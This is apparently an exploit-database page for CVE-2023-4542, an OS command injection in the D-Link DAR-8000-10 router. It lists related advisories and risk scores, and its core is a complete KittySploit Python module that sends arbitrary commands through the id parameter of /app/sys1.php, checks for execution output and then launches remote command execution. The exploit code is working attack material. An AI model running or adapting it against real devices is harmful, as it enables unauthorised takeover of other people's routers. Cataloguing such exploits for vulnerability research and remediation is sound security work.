D-Link DAR-8000 Command Injection (CVE-2023-4542)
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| Vulnerability of the script /app/sys1.php of the D-Link DAR-8000-10 router microprogramming system, allowing a hacker to execute arbitrary commands | 30 Aug 202300:00 | – | bdu_fstec | |
| CVE-2023-4542 | 26 Aug 202302:24 | – | circl | |
| D-Link DAR-8000 操作系统命令注入漏洞 | 25 Aug 202300:00 | – | cnnvd | |
| D-Link DAR-8000-10 Operating System Command Injection Vulnerability | 29 Aug 202300:00 | – | cnvd | |
| CVE-2023-4542 | 25 Aug 202321:31 | – | cve | |
| CVE-2023-4542 D-Link DAR-8000-10 sys1.php os command injection | 25 Aug 202321:31 | – | cvelist | |
| CVE-2023-4542 | 14 Oct 202604:01 | – | kitploit | |
| D-Link DAR-8000-10 - Command Injection Detection | 28 Jul 202611:27 | – | kittysploit | |
| D-Link DAR-8000-10 - Command Injection | 7 Oct 202602:15 | – | nuclei | |
| CVE-2023-4542 | 25 Aug 202322:15 | – | nvd |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DAR-8000 sys1.php command injection (CVE-2023-4542)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'D-Link DAR-8000 Command Injection (CVE-2023-4542)',
'description': (
'Exploits CVE-2023-4542 in D-Link DAR-8000-10: OS command injection via the '
'id parameter of /app/sys1.php.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2023-4542'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2023-4542'],
'tags': ['dlink', 'router', 'gateway', 'cmdi', 'rce', 'vkev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {'suggested_followups': ['scanner/http/cve_2023_4542_detect']},
},
}
def execute(self, cmd: str) -> str:
r = self.http_request(
method='POST',
path='/app/sys1.php',
data=f'id={cmd}',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
return (r.text or '') if r else ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2023-4542 confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'DAR-8000 injection failed', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
7.1High risk
Vulners AI Score7.1
CVSS 3.16.3 - 9.8
CVSS 36.3
CVSS 26.5
EPSS0.84689